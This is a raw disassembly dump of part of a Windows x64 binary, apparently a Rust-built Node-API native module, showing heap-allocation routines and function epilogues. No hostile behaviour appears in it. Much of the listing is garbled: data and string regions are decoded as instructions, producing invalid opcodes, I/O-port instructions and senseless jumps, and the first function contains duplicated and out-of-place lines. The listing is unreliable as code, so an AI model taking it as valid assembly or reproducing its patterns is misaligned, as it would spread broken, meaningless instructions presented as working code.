call fcn.140092fc0
mov qword [rsp + 0x40], rax
mov ebx, edx
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009e961
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb3b
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x1860
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eb3b
mov r12, rax
xor ebp, ebp
mov r8d, 0x810
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x810], 1
lea rcx, [r12 + 0x818]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0xc20], 2
and al, 0x20
or al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax], al
and al, 0x20
or al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax], al
lea rcx, [r12 + 0xc28]
mov r8d, 0x408
xor edx, edx
invalid
invalid
add byte [rax], al
lea rcx, [r12 + 0xc28]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add byte [rax], al
mov qword [r12 + 0x1030], 3
lea rcx, [r12 + 0x1038]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1440], 4
mov rcx, r12
add rcx, 0x1448
mov r8d, 0x408
mov eax, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1850], 5
mov qword [r12 + 0x1858], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
mov rdx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x2c]
mov r9, qword [rsp + 0x40]
jmp 0x14009ea4e
mov ebp, 1
mov ebx, 0x3b9aca00
mov qword [rsi + 0x10], r13
mov rax, qword [rsp + 0x30]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r13
mov qword [rsi + 0x28], 0
sub byte [rax], r8b
add byte [rax], al
add byte [rbx - 0x74c6dbbc], cl
and al, 0x3c
and al, 0x3c
mov dword [rsi + 0x3c], ecx
mov dword [rsi + 0x39], eax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi + 0xc0], xmm0
movups xmm0, xmmword [rsp + 0x79]
movups xmmword [rsi + 0x81], xmm0
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x78], xmm0
mov qword [rsi], rbp
mov qword [rsi + 8], r15
mov qword [rsi + 0x30], r14
mov byte [rsi + 0x38], r8b
mov qword [rsi + 0x40], r14
mov qword [rsi + 0x48], rdi
xorps xmm0, xmm0
movups xmmword [rsi + 0x50], xmm0
mov byte [rsi + 0x60], 0
mov qword [rsi + 0x68], rdx
push 0x7046c748
adc byte [rax], al
add byte [rax], al
push 0x7046c748
adc byte [rax], al
add byte [rax], al
mov byte [rsi + 0x98], 0
mov qword [rsi + 0xa0], r12
mov qword [rsi + 0xa8], 6
mov qword [rsi + 0xb0], 6
mov qword [rsi + 0xb8], 0
mov qword [rsi + 0xd0], 0
mov byte [rsi + 0xd8], 0
mov qword [rsi + 0xe0], r9
mov dword [rsi + 0xe8], ebx
add rsp, 0x98
pop rbx
pop rbp
cwde
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0x80
call fcn.1400a9e00
invalid
mov dl, 0
add byte [rdi], cl
invalid
invalid
mov ecx, 8
mov edx, 0x1860
call fcn.1400a9e00
ud2
mov ecx, 8
mov rdx, r12
call fcn.1400a9e00
ud2
mov ecx, 8
add byte [rax], al
mov edx, 0x28
call fcn.1400a9e00
ud2
test rax, rax
je 0x14009ee7c
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x40
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009ee7c
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov byte [rax + 0x38], 0
lock inc qword [rax]
jle 0x14009ee78
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009ec47
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009ee8d
mov rcx, rax
mov qword [0x1400f91f8], rax
xor esi, esi
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009ee8d
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov eax, dword [rbx + 0x30]
mov r15d, 0xa
cmp eax, 0x3b9aca00
je 0x14009ec8c
mov r15, qword [rbx + 0x28]
mov esi, eax
mov dword [rsp + 0x2c], esi
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xf8], 0
jne 0x14009ecb2
call fcn.140008690
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0x100]
inc qword [rax + 0x100]
mov rsi, qword [rbx + 0x38]
mov r13, qword [rbx + 0x40]
lock inc qword [rsi]
jle 0x14009ee78
movups xmm7, xmmword [rbx + 0x10]
mov r12, qword [rbx + 0x58]
test r12, r12
mov qword [rsp + 0x38], rbp
je 0x14009ed38
mov rax, qword [rbx + 0x60]
mov qword [rsp + 0x30], rax
lock inc qword [r12]
jle 0x14009ee78
mov rbp, qword [rbx + 0x68]
test rbp, rbp
je 0x14009ed41
mov rbx, qword [rbx + 0x70]
lock inc qword [rbp]
jle 0x14009ee78
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009ed6d
jmp 0x14009ed54
mov rbp, qword [rbx + 0x68]
test rbp, rbp
jne 0x14009ed14
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009ed6d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009ee9e
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x110
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009ee9e
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], r15
mov ecx, dword [rsp + 0x2c]
mov dword [rax + 0x28], ecx
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], r13
mov byte [rax + 0x40], 0
mov qword [rax + 0x48], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x50], xmm0
mov qword [rax + 0x60], 0
movups xmm1, xmmword [0x1400eb9b0]
movups xmmword [rax + 0x68], xmm1
movups xmm1, xmmword [0x1400eb9c0]
movups xmmword [rax + 0x78], xmm1
movups xmmword [rax + 0x88], xmm6
mov qword [rax + 0x98], r14
mov qword [rax + 0xa0], 0
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
mov byte [rax + 0xc4], 0
mov qword [rax + 0xc8], 0
mov qword [rax + 0xd0], r12
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0xd8], rcx
mov qword [rax + 0xe0], rbp
mov qword [rax + 0xe8], rbx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0xf0], rcx
movups xmmword [rax + 0xf8], xmm0
mov qword [rax + 0x108], 0
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0x40
call fcn.1400a9e00
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400a9e00
ud2
mov ecx, 8
mov edx, 0x110
call fcn.1400a9e00
ud2
je 0x1400e03ee
invalid
jb 0x1400e0414
outsb dx, byte [rsi]
outsd dx, dword [rsi]
cmp ah, byte [rax]
imul esp, dword fs:[rax + riz + 0x6e], 0x7220746f
je 0x1400e0427
jb 0x1400e0422
and byte [rcx + 0x20], ah
jo 0x1400e0428
jae case.0x14004b1bb.61
je 0x1400e0426
jbe case.0x14004b1bb.61
and byte [rsi + 0x61], dh
insb byte [rdi], dx
jne 0x1400e042a
push rbx
invalid
imul esp, dword [rax], 0x66
invalid
push rdx
je 0x1400e0466
outsb dx, byte gs:[rsi]
push rdx
invalid
jne 0x1400e0485
invalid
jb 0x1400e0489
push rdx
push rdx
push rdx
cmp r12b, byte [rax]
cmp r12b, byte [rax]
cmp ah, byte [rax]
invalid
push rdx
push rdx
cmp r12b, byte [rax]
imul ebp, dword [rsi + 0x73], 0x63757274
je 0x1400e04cd
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x6f], ch
je 0x1400e048b
jae 0x1400e04e2
jo 0x1400e04df
outsd dx, dword [rsi]
jb 0x1400e04e6
push rdi
push rdi
invalid
and byte [rbp + 0x6e], dh
invalid
jbe 0x1400e04ec
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rsi + 0x67], 0x62655720
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x1400e0515
invalid
je 0x1400e0516
je 0x1400e04fe
invalid
jb 0x1400e0521
outsb dx, byte [rsi]
push rbx
invalid
outsd dx, dword [rsi]
jb 0x1400e053b
jae 0x1400e04f2
push rdx
and byte [r13 + 0x6f], r13b
jne 0x1400e0547
and byte gs:[rcx + 0x73], ch
and byte [rsi + 0x6f], ch
je 0x1400e0504
imul ebp, dword [rsi + 0x69], 0x6c616974
imul edi, dword [rdx + 0x65], 0x646f4e64
outsd dx, dword [rsi]
invalid
imul esi, dword [rcx + rbp*2 + 0x61], 0x657a696c
jp 0x1400e0553
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
push 0x73
push 0x73
and byte [rbx + 0x72], ah
jns 0x1400e056b
je 0x1400e056c
and byte [rbx + 0x6f], al
outsd dx, dword [rsi]
insd dword [rdi], dx
insd dword [rdi], dx
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
and byte [rbp + 0x6f], ch
jne 0x1400e0578
and byte gs:[rcx + 0x73], ch
and byte [rbp + 0x6e], dh
invalid
invalid
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rsi + 0x67], 0x646f4e20
push 0x73
invalid
outsb dx, byte [rsi]
and byte [esi + 0x6f], cl
push 0x73
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x1400e05a4
je 0x1400e05a5
jb 0x1400e059a
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
insd dword [rdi], dx
imul r13d, dword [rsp + r13*2 + 0x53], 0x20636e79
invalid
invalid
outsd dx, dword [rsi]
push 0x73
and byte [rbp + 0x53], al
and byte [rbp + 0x6f], ch
jne 0x1400e05c8
jae 0x1400e057f
invalid
invalid
je 0x1400e05da
jns 0x1400e0590
jae 0x1400e05e7
jo 0x1400e05e4
outsd dx, dword [rsi]
jb 0x1400e05eb
sub al, 0x20
sub al, 0x20
jae 0x1400e05e2
and byte gs:[rax + 0x74], ch
je 0x1400e05f3
push 0x73707474
cmp ch, byte [rdi]
invalid
jae 0x1400e05bf
invalid
je 0x1400e0605
invalid
outsd dx, dword [rsi]
push 0x73
sub eax, 0x6d2d7365
outsd dx, dword [rsi]
jne 0x1400e0614
sub eax, 0x70707573
outsd dx, dword [rsi]
jb 0x1400e0625
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x1400e062c
pop rsp
ja 0x1400e0625
insb byte [rdi], dx
insb byte [rdi], dx
imul esp, dword [rcx + 0x6d], 0x696e6163
outsb dx, byte [rsi]
pop rsp
invalid
invalid
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x1400e0645
je 0x1400e064b
jae 0x1400e0616
imul ebp, dword cs:[rdi + 0x2d], 0x37316636
imul ebp, dword [rdi + 0x2d], 0x37316636
xor word ss:[rdi], si
xor dh, byte fs:[rdx]
invalid
invalid
xor dword [rbx + rsi*2 + 0x72], ebx
invalid
add byte [rax], al
add byte [rax], al
mov cl, 5
invalid
add byte [rax], al
add al, bl
add byte [rax], al
add byte [rax], dh
add byte [rax], al
add byte [rcx + 0x1400e05], dh
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
fadd dword [rax]
add byte [rax], al
add byte [r8], r8b
xor byte [rax], al
add byte [rax], al
mov cl, 5
invalid
add byte [rax], al
add byte [rcx + 0x1400e05], dh
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
fiadd dword [rax]
add byte [rax], al
and byte [rax], al
add byte [rax], al
mov cl, 5
invalid
add dword [rax], eax
add byte [rax], al
invalid
insb byte [rdi], dx
push rax
push rax
push rax
outsb dx, byte gs:[rsi]
imul ebp, dword fs:[rsi + 0x67], 0x636e6143
invalid
invalid
outsb dx, byte [rsi]
invalid
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword fs:[rdi + 0x73], 0x6c6f7062
insb byte [rdi], dx
pop rdi
imul ebp, dword [rsi + 0x66], 0x6466616f
invalid
invalid
outsd dx, dword [rsi]
je 0x1400e9cf2
outsd dx, dword [rsi]
jne 0x1400e9d1d
push rax
push rax
jb 0x1400e9d21
imul esi, dword [rbx + 0x73], 0x446e6f69
outsb dx, byte gs:[rsi]
imul esp, dword [rbp + 0x64], 0x6e6e6f43
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jae 0x1400e9d58
push rbp
outsb dx, byte [rsi]
jb 0x1400e9d4d
invalid
je 0x1400e9d6a
ja case.0x14004b1bb.14
outsd dx, dword [rsi]
jb 0x1400e9d61
push rbp
outsb dx, byte [rsi]
jb 0x1400e9d5f
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
je case.0x14004b1bb.13
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x1400e9d6c
jb 0x1400e9d6c
jb 0x1400e9d6c
outsb dx, byte [rsi]
push rbp
jae 0x1400e9d8c
jb 0x1400e9d7a
outsd dx, dword [rsi]
je case.0x14004b1bb.15
jbe 0x1400e9d92
imul ebp, dword [rcx + riz*2 + 0x62], 0x654e656c
je 0x1400e9db2
je 0x1400e9db2
outsd dx, dword [rsi]
jb 0x1400e9da9
outsd dx, dword [rsi]
ja 0x1400e9db0
jb 0x1400e9db4
imul esp, dword [rbp + 0x6e], 0x50
imul esi, dword [rax + 0x65], 0x65726c41
insb byte [rdi], dx
jb 0x1400e9db5
insb byte [rdi], dx
insb byte [rdi], dx
jb 0x1400e9db5
invalid
jae 0x1400e9db1
push rdi
outsd dx, dword [rsi]
jne 0x1400e9dc9
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
je 0x1400e9da8
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1400e9dba
invalid
invalid
je 0x1400e9ddd
jb 0x1400e9de9
jae 0x1400e9db4
jae 0x1400e9db4
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1400e9dc1
invalid
jb 0x1400e9df5
imul r14d, dword [rdx + 0x65], 0x726f7463
imul esi, dword [rdx + 0x65], 0x726f7463
jns 0x1400e9dd4
outsd dx, dword [rsi]
je 0x1400e9dce
insd dword [rdi], dx
jo 0x1400e9e00
jns 0x1400e9de0
push rdx
invalid
outsb dx, byte [rsi]
insb byte [rdi], dx
jns 0x1400e9ddc
imul ebp, dword [rbp + riz*2 + 0x73], 0x65747379
insd dword [rdi], dx
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jo case.0x14007d55b.26
push rbx
push rbx
je 0x1400e9e11
insb byte [rdi], dx
je 0x1400e9e2d
je 0x1400e9e2d
je 0x1400e9e2d
ja 0x1400e9e26
outsd dx, dword [rsi]
jb case.0x14007d55b.28
imul r13d, dword [rbp + r12*2 + 0x48], 0x6c646e61
imul ebp, dword [rbp + riz*2 + 0x48], 0x6c646e61
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jbe 0x1400e9e28
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x6e], 0x49747570
invalid
outsb dx, byte fs:[rsi]
jo 0x1400e9e43
je 0x1400e9e19
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1400e9e34
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x61], 0x69546174
push rsp
imul ebp, dword [rbp + 0x65], 0x74754f64
insd dword [rdi], dx
jne 0x1400e9e56
jne 0x1400e9e56
push rdi
jb 0x1400e9e4e
je 0x1400e9e4c
pop rdx
jb 0x1400e9e5a
jb 0x1400e9e5a
push rbx
je 0x1400e9e5d
insb byte [rdi], dx
outsd dx, dword [rsi]
je 0x1400e9e4d
imul esp, dword gs:[rcx + 0x62], 0x6c
imul r13d, dword gs:[rbp + r12*2 + 0x73], 0x65747379
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
push rcx
jne 0x1400e9e7d
je 0x1400e9e71
js 0x1400e9e76
js 0x1400e9e76
imul r13d, dword fs:[rbp + r12*2 + 0x54], 0x614c6f6f
imul r13d, dword [rbp + r12*2 + 0x54], 0x614c6f6f
imul ebp, dword [rbp + riz*2 + 0x54], 0x614c6f6f
jb 0x1400e9e8a
push rdx
push rdx
jae 0x1400e9e97
jae 0x1400e9e97
jne case.0x14007d55b.37
invalid
jne 0x1400e9ea2
jns 0x1400e9e76
js 0x1400e9e98
js 0x1400e9e98
invalid
jne 0x1400e9eaa
invalid
invalid
invalid
jb 0x1400e9ebc
outsd dx, dword [rsi]
jae 0x1400e9ec2
jae 0x1400e9eb5
jae 0x1400e9e96
jae 0x1400e9e96
jbe 0x1400e9ebe
jae 0x1400e9ead
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
invalid
outsb dx, byte [rsi]
jbe 0x1400e9ec9
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x69], 0x616e656c
insd dword [rdi], dx
jb 0x1400e9edd
jb 0x1400e9edd
jb 0x1400e9edd
jne 0x1400e9ee5
outsb dx, byte gs:[rsi]
je 0x1400e9ec8
imul esi, dword [rbx + 0x74], 0x4c6f6f54
outsd dx, dword [rsi]
jae 0x1400e9ef3
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
je 0x1400e9eef
jb 0x1400e9efe
jne 0x1400e9efe
je 0x1400e9ef5
push rbp
push rbp
outsb dx, byte [rsi]
jae 0x1400e9f0a
jo 0x1400e9f07
jo 0x1400e9f07
outsd dx, dword [rsi]
jb 0x1400e9f0e
push rbp
push rbp
outsb dx, byte [rsi]
js 0x1400e9f11
invalid
invalid
jne 0x1400e9f20
jne 0x1400e9f20
insw word [rdi], dx
insw word [rdi], dx
outsd dx, dword [rsi]
jb 0x1400e9f2d
je 0x1400e9f1f
je 0x1400e9f1f
jb 0x1400e9f0f
push rbp
outsb dx, byte [rsi]
invalid
invalid
imul edi, dword [rdx + 0x65], 0x69706164
imul ebp, dword [0x1b73c123f], 0x632d6e69
outsd dx, dword [rsi]
jb 0x1400e9f3a
sub eax, 0x772d736d
imul ebp, dword [rsi + 0x2d], 0x65726f63
sub eax, 0x636e7973
push 0x2d316c2d
xor ch, byte [0x1a1659f15]
push rdi
invalid
xor dword [0x1403ecc15], ebp
push rdi
invalid
imul esi, dword [rdi + rcx*2 + 0x6e], 0x72646441
jae 0x1400e9f63
jae str.WakeByAddressSingle
add byte [rdi + 0x61], dl
push rdi
invalid
push rdi
invalid
imul esp, dword [rbp + 0x42], 0x79
jb 0x1400e9f61
jns 0x1400e9f39
jb 0x1400e9f61
jae 0x1400e9f71
push rbx
imul ebp, dword [rsi + 0x67], 0x6c00656c
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
invalid
jb 0x1400e9f85
pop rsp
jae 0x1400e9f83
je 0x1400e9f74
pop rsp
jae 0x1400e9f85
invalid
jae 0x1400e9f7d
pop rsp
invalid
js 0x1400e9f94
and byte [rdi], ch
and byte fs:[rdi], ch
invalid
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
ja 0x1400e9fb1
and byte [rsi + 0x69], ah
insb byte [rdi], dx
and byte gs:[rsi + 0x61], ch
insd dword [rdi], dx
jae 0x1400e9f6a
insd dword [rdi], dx
invalid
outsb dx, byte gs:[rsi]
and byte fs:[rdi + 0x69], dh
je 0x1400e9fd1
and byte [rax + 0x5c], ah
invalid
invalid
lahf
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx], cl
or dword [rax], esp
sub byte es:[rcx], ch
pop rbx
pop rbp
jnp 0x1400ea00e
pop rsi
cmp eax, 0x2b27213b
sub al, 0x60
and dword [rdi], esp
sub ebp, dword [rax + riz*2]
jle 0x1400e9fc0
jl 0x1400e9fd9
add byte ds:[rax], al
add eax, 0x1400e9f
add byte [rax], al
add byte [rbx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 1], bl
add byte [rax], al
sub al, byte [rax]
add byte [rax], al
add eax, 0x1400e9f
add dword [rax], eax
add byte [rdx], ch
add byte [rax], al
add byte [0x1414eae5c], al
add byte [rax], al
add byte [rbx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rax], ch
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
add dword [rax], eax
add byte [rdx], ch
add byte [rax], al
add byte [rbx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x69], al
invalid
invalid
insb byte [rdi], dx
jo 0x1400ea047
je 0x1400ea050
sub ah, byte [rsi + 0x61]
je 0x1400ea04e
insb byte [rdi], dx
and byte [rdx + 0x75], dh
outsb dx, byte [rsi]
je 0x1400ea05d
insd dword [rdi], dx
and byte gs:[rbp + 0x72], ah
jb 0x1400ea06a
jb 0x1400ea037
je 0x1400ea079
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x61], ah
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
invalid
jmp 0x1414eaedc
add byte [rsi], cl
add byte [rax + r8 + 0x44], r10b
add byte [rax + rax + 0x4c], cl
add byte [rsi], ch
add byte [rax + rax + 0x2e], r9b
add byte [rsi], r13b
add byte [rax + rax + 0x4c], al
add byte [rax + rax], cl
add byte [rdi + 0x53], cl
push r11
push rbx
and byte [rbp + 0x72], al
jb 0x1400ea0d2
jb 0x1400ea085
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x1400ea0d8
insd dword [rdi], dx
invalid
je 0x1400ea0f1
jb 0x1400ea0ec
and byte fs:[rbp + 0x72], ah
jb 0x1400ea0f4
jb 0x1400ea0a7
add byte [rax + riz*4 + 0xe], bl
add dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs al, byte gs:[0x2200000001400e]
add byte [rax], al
add byte [rax], al
add byte [rax], al
jbe 0x1400ea038
add byte [rsi - 0x72], dh
invalid
jae 0x1400ea130
outsd dx, dword [rsi]
jae 0x1400ea105
jb 0x1400ea14c
jae 0x1400ea0da
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400ea0], bh
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, 0x1400ea0
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte es:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
add byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x1400ea16b
invalid
push rdi
sub byte [rcx], ch
and byte [rdx + 0x65], dh
je 0x1400ea184
jb 0x1400ea17f
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
clc
movabs al, byte [0x2b00000001400e]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, 0x1400ea0
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x2e000000], bl
add dword [rax], eax
add byte [rax], al
and dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
sahf
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax + 0x1400ea0], bh
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x2e000000], bl
add byte [rax], al
add byte [rax + 0x1400ea0], bh
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x22000000], bl
add byte [rax], al
add byte [rax], al
cdq
add byte [rax], al
add byte [rdx], ah
add byte [rax], al
add byte [rsi + 0x61], ah
invalid
invalid
imul ebp, dword [rbp + rsi*2 + 0x72], 0x65672065
je 0x1400ea210
imul ebp, dword [rsi + 0x67], 0x766e6520
and byte [rbx + 0x74], dh
jb 0x1400ea211
outsb dx, byte [rsi]
and byte [esi + 0x72], ah
outsd dx, dword [rsi]
insd dword [rdi], dx
and byte [rdi + 0x53], cl
cmp ah, byte [rax]
add byte [rax], al
add byte [rax], al
nop
movabs eax, dword [0x2400000001400e]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, 0x1400ea0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400ea0], bh
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0xd000000], dh
add byte [rax], al
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x1400ea246
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [r8], r8b
add byte [rax + rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
adc al, 0
add byte [rax], al
loopne 0x1400ea1c3
invalid
add dword [rax], eax
add byte [rax], al
invalid
mov al, 0x9c
pushfq
add byte [rax + 0x1400e9c], dh
add byte [rax], al
add al, al
pushfq
invalid
pushfq
invalid
add byte [rax], al
add al, ah
pushfq
invalid
add byte [rax], al
out dx, eax
add bh, ch
pushfq
invalid
add byte [rax], al
add byte [rcx], al
add dword [rbp + 0x1400e], ebx
add byte [rax], al
adc bl, byte [rbp + 0x1400e]
add byte [rax], al
invalid
popfq
invalid
add byte [rax], al
add byte [rcx - 0x63], bl
invalid